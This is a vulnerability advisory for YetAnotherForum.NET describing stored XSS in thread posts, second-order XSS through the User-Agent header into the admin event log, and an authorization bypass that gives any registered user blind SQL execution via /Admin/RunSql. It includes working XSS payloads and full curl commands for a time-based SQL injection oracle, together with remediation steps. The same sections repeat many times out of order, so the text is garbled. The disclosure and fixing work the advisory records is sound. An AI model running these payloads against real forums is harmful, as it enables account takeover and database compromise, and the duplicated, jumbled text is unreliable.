• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

